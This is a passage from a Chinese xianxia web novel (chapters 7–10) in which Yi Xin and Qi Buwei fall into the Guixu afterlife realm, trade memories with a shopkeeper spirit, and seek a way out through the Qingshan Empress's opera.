易辛一愣。
祁不为收走了?
秀兰又道:“你要是喜欢,过几日我做好了,送你一个可好?”
易辛回神道谢,再道:“其实我也试着做了一个,但那莫图花总觉着不如秀兰姐姐的好闻,大约是我手艺不好,还把花粉弄肩上了呢。”
“莫图花不都一个味道吗?”秀兰不解道,“你换衣裳了没,没换的话我闻闻?”
话落,易辛凑近,指着今日早上被祁不为摸过的肩膀。
秀兰轻轻嗅了嗅:“莫图花就是这个味,没事,我做好了送你。你要想学,下回一起做。”
得到答复,易辛礼貌笑笑,告辞离了值房。
她没回浣衣坊,而是一路下山,去往双泊谷。
心口又痛了起来,随着呼吸一抽一抽。
她所料不错,祁不为不会亲自动手,但可以借助其余力量。
前世惨死的是秀兰,今生让她染上莫图花,白毫狼就会奇袭她。
下山之路,多少有些颠簸,易辛拍拍心口,妄图压下几分痛楚。
现在可不是伤春悲秋的时候,还有正事要做。
可等她来到双泊谷时,不由得惊呆了。
惊讶的不止是她,还有闲来无事正散步的祁氏姐弟。
见了易辛,祁有为倒是因为偶遇而惊喜一笑,祁不为面色却是大变。
“你……你怎么在这里?!”他尾音都变了调,仿佛本该按部就班的事情,忽然失控了,措手不及。
但事情还能更失控,祁不为和易辛二人都未想好应对之策,骤闻一声响彻云霄的咆哮,震得耳膜发痛。
那道咆哮仿佛化作一道劲气,自屠妖塔荡开,山林摇晃。
易辛不得不捂住耳朵,神智和视线都模糊了片刻。
等她恍惚挣扎着再睁眼时,远处屠妖塔闪过一道白光,笔直地冲双泊谷而来。
说时迟那时快,身后又荡起一阵弧光,湖泊霎那间翻涌不止。
一头巨狼以俯冲之姿横亘在半空中,浑身雪白,眼睛闪烁幽幽绿光,张开血盆大口,獠牙尖利。
相比于前几日,白毫狼身型暴长。
祁有为手持徐来剑,半空迎击,两道盾似的弧光相撞,彼此僵持。
直面冲击,祁有为最能感受到白毫狼的狂躁,吃力之际,高声喝道:“小七,带易辛走!”
祁不为却没听她的话,唤来不思量,半空白光一闪,冲向祁有为腰间,将她推走数丈。
现在不是硬拼的时刻,莫图花在,白毫狼会追着易辛。只要他带着易辛跑向山林,便能引它前来,到时她还是会死于狼爪之下,届时他再同祁有为收服白毫狼。
祁不为算盘打得很好,怎料转头一看,竟发现易辛跑到湖泊边缘,看样子是想下水?!
下水有什么用,难道白毫狼会怕水吗!
但易辛自有她的打算,在场唯一关心她生死之人被祁不为弄走了,自保之法便是入水。
有水,她就能对付白毫狼,才能去到另一边的世界!
两人各有心思,后果显而易见——乱了套。
祁不为抢上前去,遏制易辛入水之势:“向林子里跑!有树木遮挡,能阻挡白毫狼一二!”
易辛心知肚明,往林子跑,她一定小命呜呼,遂挣扎起来,可她怎敌得过修行之人的力气。
就在这时,白毫狼冲向二人,祁不为眼疾手快,一个旋身,揪住它的皮毛,翻身爬到脊背之上。
易辛亦用尽了毕
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生的反应力,躲过狼头,死死扒住狼腿。
白毫狼一声咆哮,冲向半空,欲将身上二人甩开。
祁不为攥紧皮毛,心念一动,再次召唤不思量。余毒压制,他用不了灵力,就算要弄死易辛,也不能叫他一命换一命,只能用不思量拖住白毫狼。
易辛挂着自身重量,白毫狼在空中跳来跳去,她几乎要拽不住了,心中无比后悔。
匕首藏在胸前,她却没法拿出来,余光忽见耀眼白光,风车似的翻转而来,途径她正要去向祁不为。
顾不上多想,易辛豁出去,半路截住不思量,借势抬手一刺,剑刃入腹,顿时带起白毫狼的凄厉咆哮。
祁不为被易辛的举动惊住了,下一瞬,白毫狼却动得更加猛烈,他反应快,没被甩下去,而易辛单手却撑不住,连人带剑一起扔下湖里。
白毫狼身上开了口子,血流如注,一半落进湖里,一半泼在易辛身上,好不骇人。
下坠之际,易辛毫不犹豫地把剑扔回祁不为,口中大喊:“快走!”
话落,她在心中默念——归墟不轮回,青山谒女帝。
下一瞬,落入湖中的狼血不再稀释,反而冻块儿似的凝聚起来,黑乎乎一片,吞噬了易辛和白毫狼的湖面倒影。
易辛余光下望,见此变化,十分欣喜——只要祁不为赶紧离开便好了,否则就会掉那边去。
一切只在瞬息之间,看在祁不为眼里,只见湖面出现一处黑洞,易辛坠落的身子如秋风扫落叶,她却在伤了白毫狼之后还让自己尽快逃离危险……
只消一眼,便知黑洞十分古怪,掉进去,就好像永无天日了……
祁不为尚来不及摸索心中是何感受,身子却快脑子一步——抓住不思量,直直跃下,追易辛而去。
见状,易辛瞪大了眼。
岂止易辛,连反应过来的祁不为也心中痛骂!
然掉进湖水里的前一刻,他终于握住了易辛的手。
不知是否幻觉,虚空里似乎传来一声轻笑,似叹息,似释然,还颇有些满足。
这声音——像他自己的?!
传闻白毫狼能够连接地府,活人入阴间,差不多就算死了……他!还没重生几天就死了!
还是因为救易辛?!就这还满足地叹息?!!!
他一定是疯了!脑子有病!!!
祁不为还想再骂几句,却没时间了——意料之内的湖水并未来,只见周遭的光似乎被黑洞吞灭,他感到一阵剧烈的疼痛,好似从天灵盖开始裂开,有什么东西活生生从体内拔出,痛得他近乎要喊出来。
手上力道卸去,他要拽不住易辛了,柔软的指尖从他手里流逝。
祁不为本能地讨厌这种抓不住的患失感,然而天旋地转,他已无力睁眼,更无力握住那些流失的东西。
迷蒙间,那要完全分离的手忽地重重地握住他掌心,旋即另一只手牢牢攥住他手腕,劲大得勒出痛感。
只是下一瞬,他便什么也觉不出来,彻底昏了过去。
水为镜,颠倒阴阳,变幻虚实。
易辛紧紧拽住祁不为,将他带入了三界之外的归墟境。
8. 第八章
天际灰蒙蒙,云或浅或深,如同晕染得极淡极淡的水墨画,又似阴云雷雨天,却不下雨。
屋檐瓦舍、街边垂柳以及行人,正常得好像人间。
祁不为拧眉站在街边——地府长这样?
他心中不信,此地全无阴测恐惧,连鬼差也看不见,倒是处处浮现着平和和茫然。
行人脸色呆滞,大部分走起路来仿佛脚轻轻沾地便立即走下一步,与其说走路,不如说飘着。
环顾四周,并未见到同他一起坠落的易辛,他方想走两步问问路人,却发现只迈出了极小的步子。
身体不受控制,犹如做梦,做梦里极力奔跑,却只跑出了些微距离。
走不了几步,祁不为便没了耐心,越走越气。然而再生气,该迈出的步子依旧要多小就多小,最后他被磨得没了脾气,慢吞吞地飘着。
此地没有时辰流逝之实感,但只觉跨过短短一条道,仿佛走了半生,最后走得祁不为如同行尸走肉。
终于挪进一间当铺似的屋子时,祁不为长舒一口郁气,既无奈又心累。
飘荡时,他便注意对面有人一直盯着他笑,即使和他对上目光,也未有窘迫尴尬,反而咧开嘴,笑意加深。
那人给祁不为一种“很薄”的感觉。
眉眼细长,身形也细长,薄得好似一张纸。
狭长的眼里是毫不掩饰的戏谑。
祁不为终于走到柜台边,开门见山问他:“这是何地?”
“归墟境。”
祁不为扬了扬眉,继续盯住那“纸片人”。
“归墟境跳脱三界之外。那些因故不愿入地府,又被阴差漏掉的魂魄,要么徘徊人间,要么误入归墟境。”
“阴差不来抓他们?”
纸片人笑起来,嘴角弧度也是尖锐的,仿佛宣纸上一笔勾勒出的弯。
“阴差每日忙得晕头转向,那些魂魄既徘徊着不愿归去,也不能入阳间,便随他们去了。在归墟呆久了,就无法转生,各有利弊。”
祁不为侧头望向街道上不一的行人,问道:“为何有人走路似飘浮,有人却脚踩实地。”
“有的是鬼,有的是人。”纸片人撑着下巴看那来往的行人。
祁不为心中一沉,为何他走路也是飘的?
他既已重生,便是人。
纸片人似看出他心中所想,掰过祁不为的下巴将他转过头来。
“你是个奇人。”纸片人咧嘴笑着,狭长的眸子闪着一寸光。
祁不为颇为不适地后仰,避开纸片人的触碰。
“你分明死去很久,合该入地府,却一股生人味儿。”
祁不为瞬间眉峰下压,瞳孔里散发出摄人的气势,神色冷峻。
纸片人半点不惧,反笑得愈发诡异:“无需一副如临大敌的模样,我在此地呆了很久,练就了一双火眼金睛。”
“何况你是活人死人,与我何干。天道有机缘,你既此番模样,自有道理。我就是一个经营当铺的,不愿惹是非。”
祁不为脸色稍缓,目光落在他身后的架子上,架子间隔细小,恰好放下一枚玉瓶。那里放满了诸多瓶子,似乎很难找到一个空位再塞进去。
“这里既然是魂魄徘徊之处,怎还会有活人?”
“有人刻意进入其中,也有人误打误撞进来的。像你这般对此地陌生,应是不小心掉进来的。”
祁不为不置可否:“那要如何出去?”
纸片人但笑不语。
祁不为再撇一眼他身后木架,冷淡道:“你想交易什么?”
纸片人弯下腰,不知在柜台下捣鼓什么,过一会,一盆清水便摆在台面上。
“这里无聊得很,徘徊于此的魂魄大多有其深刻的故事。这位公子若想要什么,便要拿自己的记忆来换。”
他又道:“我是个很爱听故事的人。”
水面轻微晃荡,映出屋顶天花,祁不为沉吟片刻:“如果我给了你记忆,你我会如何?”
“你并非失去这段回忆,我也只是看了个故事罢了。”
纸片人补充道:“且只我一人看到。”
祁不为抬眼盯他,后者坦荡地任其审视打量,最后终于应了。
“我要如何称呼你?”祁不为问了一句。
若此鬼有异动,他无灵力傍身,却可用得失咒对付他。
“点日。”说罢,他拿出一只毛笔,在祁不为指腹上轻轻一划。
祁不为心中惊奇,指腹上豁了一道小口,浓黑的液体流出,如同墨水。
点日眉头微微一动,带着万年不变的诡异笑容觑了祁不为一眼,再把黑液滴进清水中,水墨迅速把其染成漆黑。
漆黑墨水里呈现的却是彩色的画面。
画面如走马灯,一幕幕过得飞快。
前一刻他还是个天真烂漫,围着父母阿姐转悠的小孩,下一瞬,祁有为浑身浴血,而他遍寻仙门百家,求路无门——整日把仁义正直挂在嘴边的人,却对他深陷险境的父母踟蹰不前。
画面再一转,他屠戮仙门,对祁有为巧取豪夺。
往后的场景处处刀光剑影,血水如瓢泼大雨,他浑身煞气,仿佛阎王罗刹。
昔日清隽漂亮的少年变得阴鸷狠戾,长剑上浸出一层又一层的血水。
水盆里光景变幻,祁不为神色淡漠,仿佛看的不是自己的过去——孩童时,尚充斥欢声笑语,少年期全是祁有为的影子,再往后,只剩血腥为伴。
蓦地,祁不为眸光一凛,那浮光掠影的画面里,出现了一个惊慌失措的人。
祁不为自吸取妖力以来,时常心绪不平,暴躁易怒。
某一日午后,祁不为拿出两人儿时父亲替他们编织的竹草蝗虫,那竹草早已泛黄,祁不为拿得小心翼翼,生怕折断。偏偏意外发生,身旁伺候茶水的侍女,一时胆战手抖,将温热的茶倒在了蝗虫上,茶叶耷拉在它脑袋上,滑稽而垂垂老矣。
接着,年岁已久的竹草便弯折没了形状。
侍女立即跪下,抖如糠筛。
说不清为何,须臾间,暴戾袭上心头,刹那吞噬了他的神智。
难以言喻的愤怒在那一刻凝聚成强烈的念头——杀了她!
念头浮现在脑海的瞬间,眼前霎时血红一片,有什么东西溅了他满脸,然后浸入眼眶。
旋即,周遭响起此起彼伏的尖叫惊呼。
猩红的视线里,那些下人如同见了鬼,一个个朝他投来惊恐的目光。
祁不为的耳朵骤然被尖锐的嗡鸣覆盖,刺得视线也一片锐化。
杀戮之心熊熊燃起,血腥味飘散在空气里,刺激他的感官。
他既感到胸口泛起烧灼的欲望,又因那些逃离他的人而一阵愤怒疯狂。
那些人越怕他,越远离他,他便越想杀掉他们。
他挥剑斩向身边之人,惊惧惨叫连绵不绝。
心中有个声音一边叫嚣着把他们都杀光,又一边发问,为何他们都要逃离他身边,对
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他避之不及。
一个人不慎被绊倒,颤巍巍地转过头,眼中布满绝望。
而祁不为只是神色癫狂又冷漠地刺向对方。
猛地,祁不为的剑再无法前进半寸。
他转动瞳孔,尖锐的视线里有个模糊的人影用手紧紧握住了剑刃,血染红剑身,从掌心里一滴一滴往下落。
竟有人敢拦他的剑。
那人在说话,可祁不为听不清。
他欲把剑抽出来,却不得。那些人快要跑出院子,祁不为松开长剑,手上汇聚一团红黑之气。
这回,拦剑之人直接冲到他身前,抱住他的腰往后推。
祁不为被推得后退几步,或许是离得近了,他终于听见对方的声音。
“……不要!公子,你快醒过来!”
“不要杀他们……”
祁不为心中涌起烦躁,猎物几乎要跑光了!
他低头揪住对方的衣领,狠狠一扔,后者如断线的风筝,撞在走廊石柱上,一口鲜血喷涌而出。
祁不为一步一步朝院门口走去,耳边传来那人忍痛不住的咳嗽,还有断断续续的呼喊。
他不去听那一声声的“公子”,心口剧烈跳动,兴奋在血管里横冲直撞,他只想闻到更多的血腥气。
“祁不为!”
他脚步一顿,僵硬地转过头。
这一声似凝聚了那人所有的气力,祁不为脑中一痛,视线渐渐清晰起来。
那是个女子,重伤蜷缩在地,可脸上是痛色也掩不住的彷徨和焦急。
“你不是这样的!”她竭力大喊,“你不想杀他们!”
“不要被控制!”
祁不为瞳孔一缩,像只野兽似的粗喘,体内仿佛劈过一道雷电,撕裂他的魂魄,头欲炸裂,只觉眼前这个女人十分聒噪。
他慢慢走向她,五指成爪,欲扼住她咽喉。行至一半时,祁不为被她的眼神刺痛了,不畏惧不恐惧,只正色凛然,又满含忧虑,像烙铁一样,灼得魂魄滋啦作响。
心念一松,胸口仿佛河流奔涌,这份生硬的冲撞激得他口吐鲜血。
他蓦地浑身脱力,颓然躺倒,天际血红,日光刺目,映照得他渺小如蝼蚁。不安又令他全身紧绷,本能地在身体虚弱时展开防御,阴鸷的目光盯在她身上,手缓慢抬起,欲召唤不思量。
祁不为所剩不多的神智里,只能感知她起身的动作,随着她趔趄靠近,浑身汗毛倒竖,眼中杀意愈盛。
“不……思量……”
祁不为混着血水咬牙切齿,可不思量并未应召。因为不思量早就断了,只是他忘了。
一双沾满浓稠血迹却又温热的手握住了他,那声声切切的呼喊又离得他更近了。脸上被胡乱地抹着,祁不为渐渐觉得那抹血红似也被擦掉了,视线露出了原本的颜色。
耳边听到了更多的声音,呼唤里夹杂哭泣,随哭泣一起来的,还有那张眼泪簌簌的脸。
祁不为终于认出来了,这是易辛。
灼灼热泪滴在他脸上,他被易辛扶着略微起身,躺在她怀里。
那口吐出来的血似乎带走了他全身体温,心底的虚无和岑寂被放大,阴冷侵袭他的四肢百骸。
所有人都走了,只剩易辛还在这里。
她的手是热的,眼泪也是,还有怀抱。
祁不为仿佛攒了口力气,一下子重重地摁在易辛后颈上,把她压向自己。
像只取暖的可怜小兽。
他太冷了。
9. 第九章
祁不为愣愣地看着那多出来的一段记忆,尚在“他当真记忆有损”的震惊中,又见画面飞速流转,易辛一剑要了他的命,心口里那点莫名的温热霎时间凉透了。
盆中水纹归于寂静,倒映出点日诡异的脸。
“这般际遇,你竟没因怨气化为恶鬼。”他咂舌,狐狸似的双眼望向祁不为。
祁不为心知此人说得有理,他恨仙门、恨易辛,怨气难消,况且手中沾染数不清的鲜血,当变作厉鬼——或许恰是如此,怨气太过深重,让他重新做了一回人,改变命运?
但点日的下一句话便否认了他“怨气深重”之猜疑。
“怨气浓重的魂,用这笔画过后流出的是气,而非水液。”
“……”祁不为问道,“水液又作何解释?”
“心中有念。”
点日笑起来,嘴角弯起尖锐弧度,瘆人又显得高深莫测。
“执念很深,”他语气飘渺,“你执著的是何物呢?”
祁不为翻了个白眼,他若心中有执念,那便是恨。
“怎么出去?”
“大街尽头,有座破庙,去吧。”纸片人笑眯眯道。
祁不为依旧走得像蜗牛,约莫旁人爬得都比他快。
不知是步履缓慢,还是千篇一律的灰蒙,祁不为渐渐感到疲倦。
路似乎可以越走越长,看不到尽头,更无破庙可言。
归墟归虚,一入虚无乃茫然无边。
尚不知易辛在何处,但现下想起她,祁不为心中又怒又茫然。关于易辛,偏偏也只在水盆里多了一段碎片记忆,余的和记忆中并无偏差。
又能如何呢?最后还不是杀了自己。
她为何下杀手?
仙门卧底?潜伏山庄多年?
或是害怕了,为求生路拿他向仙门投诚?
一切无解,没机会问那时的易辛了。
祁不为略去脑中乱七八糟的思绪,暂不去管她,一心寻着尽头破庙。
走着走着,思绪又飘了起来。
点日说他未化作厉鬼,而心中有念。
他心中有何念,念父母早逝,痛祁有为另爱他人,恨仙门满口仁义爱世人却虚伪至极。他的恨从父母被害那一刻便开始生根发芽,在祁有为替他挡剑时归于虚无。彼时他无爱亦无恨,世间的欢乐、伪善、虚妄统统消失,只剩绝望和肝肠寸断。
不知不觉间,意识渐发昏沉,疲乏堆叠,他只能僵硬重复地幽幽飘荡。
恍然间,仿佛重临那一日。
清风夫妇本携二子下山游历,途中他因病休憩在甘华门,甘华门素来与清风山庄交好,因得甘华门悉心照料。
那时他年幼,尚不足十岁。
甘华掌门正教他练剑嬉闹,忽见浑身是血的祁有为进了门,面容惶惶。
他和甘华掌门俱是大惊失色。
而祁有为顾不上满身伤痕,哭喊着什么,不知是否伤了嗓子,说话略有含糊。
但这并不妨碍他知晓事情严重——爹娘某年游历时,带回了祁有为。那时她高热不止,烧得没了记忆,不知年岁不知姓名。等祁不为出生时,两个大人都摸不清二人差了多少岁。直到祁有为自己拍板,“六”这个数字吉利,便差六岁好了。也许真是差了这么多,祁有为行事永远比他稳重,学东西永远比他快。爹常夸她天资聪颖,定能承袭山庄风骨。
他仰望阿姐长大,见她潇洒猎妖,遇事处变不惊。于是,当日见她彷徨失措,便知一定发生了天大的事。
他急得不行,掌门安抚他,两人一齐听祁有为囫囵之语,终于听懂。
——请救师父师娘!
百年前,东海有一水蛟,与仙门百家为敌,祸乱四方,引发水患。
前去除妖的仙门有去无回,双方绵延斗了数回,终于镇压住妖蛟,仙门元气大伤。百年之后,清风夫妇游历人间时,见水患迅猛,追根溯源才知那百年前的妖蛟已冲破封印,卷土重来。
清风二人斗妖不敌,急忙将祁有为传回甘华门,陷入苦战。
祁不为听后连忙请甘华门前去襄助除妖。
掌门安抚姐弟二人,速速召集仙门百家。
时间一点一点流逝,祁不为焦急不已,再也坐不住守那昏迷的祁有为,想听仙门协商议事。
尚未走到正门,便从窗户处窥到其中情形。
——仙门中几位声威并重的掌门竟是在商讨百家之首的接位者!
为什么要讨论仙首继任人?
现在不是应该十万火急地去救他爹娘,去援助现任百家首吗!
祁不为莽撞地冲进厅堂,惶然诘问。
他一直记得他们眼神,至上而下的目光里,透露出看愚人的神色,冷漠,现实,还有以冷静理智为外衣的门派利益。
有人好言相劝,流露出恰到好处的戚戚然和无能为力。
“……那妖蛟较祖师们与之斗法时相比,力量已大为进益,能呼风唤雨。我们没有从前宗师们的修为,去了也是徒劳送死,做无谓牺牲……为祸世间的不止那蛟妖,如今断送仙门之路,那后世之人当如何?谁来庇护?”
荒谬,太荒谬。
祁不为听得呆愣愣的:“……世间妖物不止蛟妖,可若蛟妖不除,正邪不两立,难道仙门不怕它找上门来?”
却是无人答他此问,诸位掌门纷纷拂袖而去。
祁不为转头去看甘华掌门,后者黯然回避。
他拉住对方衣袖,声音切切:“……伯伯,你和我爹娘是好友,不会……见死不救吧……”
掌门眼有怜悯和愧色,再往深了看,是和那群人一般的无动于衷。
祁不为怕得眼眶发红,忽然间没了世家小公子的礼仪矜贵,只巴巴地哭着求着。
见甘华掌门求不动,他又纷纷追上那些没走远的人,一个一个,来回往复地求过去。
最后,他跑到最前头,向所有人跪下,惶急哭求,害怕又绝望,额头狠狠磕在地上,鲜血横流。
一片又一片的衣角掠过他,带起一阵风。
而后风愈来愈狂,只剩祁不为嚎啕大哭,声嘶力竭,又带着些无能为力的稚嫩。
他跌跌撞撞地爬起来,招来不思量,方御剑飞上几许距离,便被一捆绳子缚住。
甘华掌门收回手,将他扯到身前:“你一个孩子跑去做什么……不要送死!”
祁不为哭着大吼:“我要去见他们!我要和爹娘在一起!死在一起也无所谓!”
掌门面上凄然,旋即将他关入房中,任他如何哭闹打砸都无用。
祁不为起初痛骂甘华掌门,而后央求,嗓子嘶哑到说不出话,最后以头抢地,却换来动弹不得的定身术。
不知何时,外面狂风乱作,大雨倾盆。
时辰过去一个又一个,黑云压城,头顶聚集的也不知是阴云还是妖气,漆黑如墨,遮天蔽日。
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雨势愈来愈大,连成歪斜帷幕,密不透风。
某一刻,天仿佛塌了一般,暴雨如瀑,从破开的口子里倾倒。
雷鸣轰隆,似要撕裂耳膜,划过天际的闪电一道亮过一道,照得云幕惨白不已。
电闪雷鸣,声声不息。
躺在床上动弹不得的祁不为似有所感,心一寸一寸凉下去,眼里空洞无神,只汩汩流泪。
当轰隆作响的雷电远去,只剩暴雨倾注时,祁不为面色灰败,心中破了一个窟窿。
——小七,你且好好休息,我们过几日来接你。
山门前,清风夫妇和他随意道别,祁有为还在笑他娇弱,得意自己要和父母去游历除妖。
祁不为心中不爽,却也只能看着他们隐入山下曲折幽深的小径里,渐行渐远,直至消失。
他在甘华门乖乖喝药养病,又缠着掌门教他练剑。祁有为天赋异禀,加诸年龄优势,学什么都比他快,他可不想再落后一大截。
可是那两个人再也不会来接他了。
房门打开,混沌黑夜里,面色苍白憔悴的祁有为来到他床头,把他抱在怀里。
声音嘶哑难听,却在沉痛里榨出了几分坚韧的温柔。
“……小七,阿姐来了……阿姐在。”
祁不为记不清自己走了多久,身体沉重得仿佛脚缚千斤,朦胧间却见自己似乎透明了些。
似有什么东西在身体里片片剥落,化作点点荧光。
“……哎呀呀,好险好险。”
耳边传来迷蒙之声,祁不为却看不清周遭事物了,只见灰蒙蒙一片。
“人上年纪了,记性不好,有些事忘说了。”
是点日的声音……
“你比较特殊,既是活人又是死人,入了归墟境,类似于身体排异,魂魄出窍。死魂和生人皆可在归墟境留存,而生魂若是离体太久,会在归墟境中消散,不得入轮回。”
祁不为登时大怒,如此重要的事情他竟能忘!
点日似知晓他恨得牙痒痒,连忙话锋一转。
“做买卖自然不能亏了客人,”点日解释道,“我先保你魂魄不散,再为与你亲近之人送去聚魂灯,让她叫魂,送你魂归入体。”
“一定要找同你关系最近之人,否则生人思念之力不够,不能聚齐你的魂。”
这回最好靠谱点!祁不为心中忿忿,否则就算死了也要从地府跑来找他算账!
点日翻开一本簿子,口中念念有词:“来,让我看看找谁。”
“嗯,父母早故,不行。”
“有个阿姐,唤做祁有为……”
祁不为点点头,这世间也只剩祁有为具备那种程度的念力唤他回去了。
“可惜,不是亲姐弟,既无血缘也没契约。”
话音落下,祁不为霎时间暴跳如雷。
“啊!找到了,没有血缘,但有契约。”
谁?谁和他有契约关系?
“易辛,你的妻!”
轰隆一声,祁不为脑中空白。
???
他和易辛何时是夫妻?
前世?新婚替嫁?
可他想娶之人并非易辛,这能算有婚契?而且既然是前世,今生的易辛并未和他成亲,何来契约之说!
这个鬼办事能再胡扯一些吗!
然而为时已晚,魂魄过于虚弱,他再听不见纸片人的声音,意识变得愈发混沌。
10. 第十章
大街尽头,破庙中。
屋顶瓦片碎了大半,灰白的光漏进去,衬得破庙更显萧瑟。
门边,易辛抱着昏迷不醒的祁不为,蹙起眉头,看看他又看看只剩一半的庙门。
终于,一人施施然飘了进来,双手拢在长得坠地的袖中。
看见点日,易辛终于松了口气:“大人……现下可以救他了吗?”
点日低头看祁不为一眼,手从袖中抽出,将一座铜灯递给易辛,说道:“这小子轮回太多次,记忆残缺不全。”
闻言,易辛接灯的动作顿住,一入归墟,她便发现祁不为陷入昏迷,匆匆去寻点日。点日却不立即救他,而是等他生魂飘来当铺,观他记忆。
“若非他深陷无奈之境有求于我,怎可能轻易让我看到他的往昔记忆。”点日说道。
易辛皱起眉头:“我本只身前来,没想到误打误撞他也跟进来了……”
“他若不引白毫狼杀你,便不会掉入此地,”点日笑了,意味深长,“自作自受。”
点日凌空挥手,截下易辛和祁不为两缕头发,化作灯芯,噗呲一声,铜灯燃起青绿幽焰。
“对灯祈福,心中挂念着他,魂可入体。”
说罢,点日离去。
易辛放祁不为平躺在地,聚精会神守着铜灯。
许久,祁不为恍惚睁眼,好一会儿才反应过来自己到了归墟境。
余光一抹青绿,他转眼去看,是一座燃烧的铜灯,铜灯之后,易辛平和认真,气息沉静,双手合十地望着灯。
她似有所感,移开目光,见祁不为转醒,不由得笑了起来:“公子,你醒了?”
祁不为坐起身,指着铜灯问道:“这是聚魂灯?”
易辛点头。
祁不为又想起点日所谓“易辛,你的妻”这番胡言乱语,一时不自在,没话找话:“这是哪?”
“不知道,”易辛摇头,撒起谎来心不跳脸不红,“醒来时就在这座庙里了。”
庙?祁不为四下打量,又出了庙门,从长街上看来——这似乎就是点日口中的长街破庙。
他再折身回来,庙里只一处没了半边瓦片的屋舍,还有院中一棵光秃秃不长花叶的树。
此地哪有离开归墟境的出口?
祁不为转悠了半圈,对庙中每处敲敲打打,最后甚至打算用铜灯烧院中枯树,但不知是否因他转醒,那铜灯倏地灭了。
好了,这下连火也没了……
“公子,你在找什么?”易辛问道。
祁不为作了番简单的解释,易辛闻言不由道:“可大……那位先生送灯时,并未说此地可以出去。”
话落,易辛见他僵住,神色变幻几番,颇有咬牙切齿之势,仿佛被戏耍了似的。她移开目光,极力降低存在感,以防被迁怒。
恰在此时,庙门外对面一处茶坊,传来喧哗之声。
“又是一年重阳日了,各大茶楼戏坊要上演‘青山戏’了,各位想离开归墟境的,要再接再厉啊!”
“通过青山戏离开归墟的人,少之又少,还是别指望了吧……”
青山戏?易辛正奇怪,只见祁不为已出了庙门,直奔茶楼而去,开门见山问道:“诸位,青山戏是什么?”
易辛紧走两步跟上,众人瞧他们一副迷惑样,心中明了。
“你二人刚来的吧。”说罢,有人指向远方,祁不为和易辛顺势望去,入目所见,一座高山拔地而起,屋舍楼宇依山而建,制式形如宫殿。
“此山名为青山,青山上有皇宫,宫内住着青山女帝,掌管归墟境。”
“女帝?”易辛喃喃。
祁不为问道:“人间数百年前有梁国,有一公主登基为帝,因其日日在议事的青山殿上处理朝政,百姓送其‘青山女帝’之名,此二人有何关系?”
“人间女帝功德圆满,飞升成神,正是如今归墟境里的青山女帝。”
“归墟境跳脱三界六道之外,因此难入也难出。此地自古有条规则,一年中某七日,青山女帝会排戏,事关其生平,一连七日,并设下两道题,答出任意一道,即可出归墟。所以这七日又称‘重阳’——重回人间。”
问题有二。一、找到女帝;二、为何排这出戏。
祁不为:“任何茶楼戏坊皆可看?可需财物,或是别的?”
“入了归墟境,可不吃不喝,钱财乃无用之物,可交换之物才最珍贵,但青山戏是女帝令行之事,不花钱就能看。今日夜间便开始。”
听罢,祁不为拱手道谢,大步离开,一言不发地朝前走着,似乎心中已有目的地。
易辛不做言语,安静地跟了上去,走了一段路程后,熟悉的店铺映入眼帘,点日用手支着下巴,百无聊赖地拨弄桌面书薄。
见状,易辛知晓,祁不为来兴师问罪了。
祁不为迈步跨过门槛,一手按在书薄上,却见书薄即刻消失,掌心触到木桌,他只瞥一眼,不动声色盯回点日:“你们这里做买卖,欺骗客人,是不是有说法可讨?”
点日似是一惊,瞧瞧祁不为,又看看易辛,不解道:“这位公子,你是暗戳戳说我骗了你?”
“出境之法,此地人人尽知,看戏答题!根本用不着我和你交换东西。再者,你说那破庙,谁说不是诓了我记忆后乱指一通!”
点日啧啧赞叹:“哎呀呀,公子果然聪慧,什么都瞒不过。”
祁不为搁在桌面上的手翻掌为上:“你该如何赔偿?”
点日眼睛眯起,讨好一笑,大有抵赖之意:“我这里又没你们人间的金银财宝,能赔偿什么?你大人有大量,就别计较了吧。”
说罢,手将将要抹过祁不为掌心,意味“一笔勾销”,却见后者手心一柄灵剑倏忽出现,差点儿便要碰上。点日僵住,笑哈哈地挪开了手,不无赞叹道:“好剑呐,寻常妖物碰了,怕是直接灰飞烟灭。”
下马威后,祁不为直直盯住他,点日终于道:“本店虽小,但也有几间客房,你们想要歇脚的话,不若住下?”
“好啊。”祁不为答应得很爽快。
身后的易辛却是惊了。于祁不为而言,这里算是人生地不熟,点日又邪得很,怎么看也不像是祁不为会做的决定。
待点日领二人上楼,安排好客房离去后,易辛问出了口。
祁不为道:“好与坏,两面而已。他为人古怪阴邪,旁人自然不敢来寻事,我们住在这里,也算得到某种庇护。”
易辛眉梢微微一扬,并未多言。
祁不为又道:“点日方才说,答案不可互通,只有自己找到答案,才可离开归墟。既如此,我们各自努力。你若寻到答案,不必等我,我若先找到,也不会等你。”
一番话说的在理又冷漠。
易辛却松了口气,看样子他打算任她自生自灭。很好,起码比他时时刻刻想动手好太多。
秉着惜命的原则,易辛向他告辞,尽量不和他单独共处一室,怕一不小心触景生情,引起他前世仇恨。
易辛并不知道,祁不为眼也不错地盯着她离去的背影。
方才庇护所之言,却有几分道理,但真正让他留下来的,是他方才偶然瞥到的——点日的木架上,有一玉瓶,上书“易辛”二字。
她何时和点日交换了记忆?
送聚魂灯时,被点日诓了吗?
还是说,其实易辛比他更早的,和点日做了交易?
他以为点日随意指了处地方将他打发走,可易辛却一早就在破庙里。聚魂灯还因为“婚姻之约”送到了易辛手里……这些未免太巧合。
他想看易辛的记忆玉瓶!无论是与点日相关,还是与仙门勾连,又或是与他相关的记忆,他都想看清!
夜幕低垂,归墟里鬼声鼎沸。
点日店铺对面,便是一座茶楼。
时辰未到,易辛便入了茶楼,在角落坐下,静候开场。
不多时,说书先生登台,醒木急直落下,楼内刹时安静,继而响起排山倒海的掌声,众人神色雀跃。
环顾四周,几乎叫人忘了这些都是阴魂。他们或有执念,或贪恋长生不愿轮回,机缘巧合入了归墟境,不死不灭。
这是一群“偷生”的死人。他们像世间生人一样,唯有不同的是,他们不必吃喝。
想到此,易辛肌肤上蔓起一层鸡皮疙瘩,好在说书先生拉回了她的注意力。
“话说青山女帝,是梁国一位公主,取名风疏。彼时梁弱,不敌邻国天启,便将年幼的风疏送去为质。天启皇帝,儿子众多,却只有一女,因此备受宠爱。小公主自幼想要个姐妹,因此风疏一来,小公主便恨不得日日粘在她身旁。”
“风疏自幼比旁人稳重,知晓身为质子,须得处处谨小慎微。那小公主却被皇帝宠得天真烂漫,不爱看风疏敬着自己,直言‘我想和你做好朋友,你无需称呼我为公主,你要喊我的名字’。风疏不依。小公主精力充沛,整日想方设法改了风疏的称呼,那风疏却执拗,直到小公主身旁一位侍卫出了注意……”
这侍卫身手很好,亲自被皇帝点了来保护小公主,名唤金陵。
金陵时年十五,比两位公主年长五六岁,也实是看累了,便对小公主道:“风疏公主不吃软的,你便来硬的。她若不改口,便整顿她。”
